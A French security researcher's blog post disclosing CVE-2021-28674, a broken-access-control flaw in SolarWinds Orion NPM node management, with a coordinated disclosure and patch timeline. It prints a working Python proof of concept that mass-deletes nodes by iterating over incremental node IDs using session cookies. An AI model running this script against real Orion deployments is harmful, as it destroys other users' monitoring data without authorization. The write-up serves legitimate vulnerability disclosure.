Orion SolarWinds : Ma première CVE (CVE-2021-28674)
Orion SolarWinds est une plateforme évolutive de gestion et de surveillance de l’infrastructure qui simplifie la gestion informatique des environnements sur site, hybrides et SaaS, sur un seul écran. En décembre 2020, une cyber attaque à grande échelle s’appuyant sur Orion SolarWinds, utilisé par environ 33 000 clients des secteurs public et privé, est divulguée. Suite à cela, de nombreux audits sont organisés et des CVE régulièrement trouvées. J’ai moi même pu auditer cette application, trouver et déclarer ma première CVE (CVE-2021-28674) de CVSS 4.6 (criticité moyenne) en date du 18 mars 2021. Après plusieurs mois d’échanges avec l’éditeur et MITRE pour s’accorder sur la correction et la date de publication, je peux enfin publier cet article car la mise à jour est déjà sortie depuis plusieurs semaines.
Qu’est-ce que le cloisonnement
Le contrôle d’accès permet d’appliquer une politique telle que les utilisateurs ne peuvent agir en dehors des autorisations qui leur sont accordées. Les défaillances entraînent généralement la divulgation d’informations non autorisées, la modification ou la destruction de toutes les données ou l’exécution d’une fonction commerciale en dehors des limites de l’utilisateur.
Fonctionnalité de gestion des nœuds
Orion SolarWinds NPM permet de créer des groupes. Un groupe est un ensemble d’objets surveillés. Par exemple, un administrateur peut regrouper les nœuds d’un même emplacement, regrouper toutes les interfaces WAN ou regrouper tous les appareils appartenant à un certain service. L’objectif final de la création de groupes est de permettre de visualiser certains nœuds selon les utilisateurs et de créer un contrôle d’accès sur les nœuds.
La page de gestion des nœuds avec le paramètre NetObject permet de visualiser et de supprimer le nœud si l’utilisateur a les droits en spécifiant l’identifiant du nœud (Par exemple : https://URL-INTERNE/Orion/NetPerfMon/NodeDetails.aspx?NetObject=N:17158
).
Seuls les utilisateurs disposant du droit d’écriture peuvent supprimer un nœud appartenant à leur périmètre.
La demande de suppression d’un noeud a été rejouée avec un compte d’un périmètre B sur un noeud qui appartient au périmètre A :
Le code de retour de la requête est 200 OK
ce qui signifie que le serveur prend en compte la suppression du nœud.
Le noeud n’est plus accessible depuis le compte du périmètre A :
Le nœud du périmètre A est donc supprimé par un compte du périmètre B. Cela prouve une rupture de cloisonnement entre les périmètres. De plus, les identifiants des nœuds sont incrémentaux et donc facilement prévisibles, ce qui permet de créer un script pour automatiser la suppression de tous les nœuds pour un attaquant. Il est également possible de créer un nœud qui n’appartient pas à son périmètre.
Un script permettant de supprimer massivement les nœuds a été implémenté :
try :
import requests
import time
except :
print("The package 'requests' is not installed, please install it using pip3")
exit(1)
url = "http://SERVER:PORT/orion/Services/NodeManagement.asmx/DeleteObjNow" # Replace SERVER by the IP or DNS of your Orion SolarWinds plateform
ASPXAUTH_value = "REPLACE ME BY YOUR COOKIE" # Replace this value by the .ASPXAUTH cookie value
NET_SessionId_value = "REPLACE ME BY YOUR COOKIE" # Replace this value by the NET_SessionId cookie value
number_of_nodes = 150 # The value can be changed to delete the first X number of nodes
custom_cookies = {"ASP.NET_SessionId": NET_SessionId_value,
"_ga": "GA1.1.1822133664.1613472044",
"_gid": "GA1.1.1288682357.1613472044",
".ASPXAUTH": ASPXAUTH_value,
"XSRF-TOKEN": "sJs5IEd0v8S1Qxe33bsNocGeDk3T86WT6VN/HNFXDxE=",
"__AntiXsrfToken": "9a14f7b59a0c4352a500f0b84f2b7523"}
custom_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0", "Accept": "*/*",
"Accept-Language": "fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest", "Content-Type": "application/json; charset=utf-8",
"X-XSRF-TOKEN": "sJs5IEd0v8S1Qxe33bsNocGeDk3T86WT6VN/HNFXDxE=",
"Connection": "close"}
print("""
██████╗██╗ ███████╗██████╗ ███████╗██████╗
██╔════╝██║ ██╔════╝██╔══██╗██╔════╝██╔══██╗
██║ ██║ █████╗ ██████╔╝█████╗ ██████╔╝
██║ ██║ ██╔══╝ ██╔══██╗██╔══╝ ██╔══██╗
╚██████╗███████╗███████╗██████╔╝███████╗██║ ██║
╚═════╝╚══════╝╚══════╝╚═════╝ ╚══════╝╚═╝ ╚═╝
This PoC will delete the first """ +str(number_of_nodes) + """ nodes.
You need to replace the variables url, ASPXAUTH_value, number_of_nodes and NET_SessionId_value.
The script will start in 30 seconds, if you want to cancel it, press CTRL + C
""")
time.sleep(30) # Wait 30 seconds to prevent mishandling
print("Progress :")
for i in range (number_of_nodes):
node_id={"netObjectIds": "N:" + str(i) + ":1"} # Iteration over the number of nodes because the nodes ID because ID is incremental
try :
request = requests.post(url, headers=custom_headers, cookies=custom_cookies, json=node_id)
except :
print("Impossible to execute the request, check the url value")
exit(2)
if (request.status_code != 200):
print("Impossible to delete nodes, please check the content of the variables ASPXAUTH_value, number_of_nodes and NET_SessionId_value")
print("Status code : " + str(request.status_code))
exit(2)
print("{0:.2f}%".format(i*100/number_of_nodes)+" %")
print("The first " + str(number_of_nodes) + " are now deleted.")
Le script ainsi que la marche à suivre pour résoudre le problème a été envoyée directement à l’équipe sécurité de SolarWinds. Après plusieurs échanges, nous avons convenu d’un date de mise à jour et procédé à la déclaration sur MITRE. La page dédiée à la vulnérabilité est disponible sur le site de SolarWinds, la mise à jour en question a été publiée le 13 mai 2021 sur leur page dédiée Suite au déploiement de la mise à jour par SolarWinds, MITRE a publié tous les détails que je leur avait fait parvenir sur cette page.
Nous avons décidé de lui attribuer le score CVSS de 4,6 qui en fait une vulnérabilité de criticité moyenne :
Vous avez aimé l'article ? Partagez le :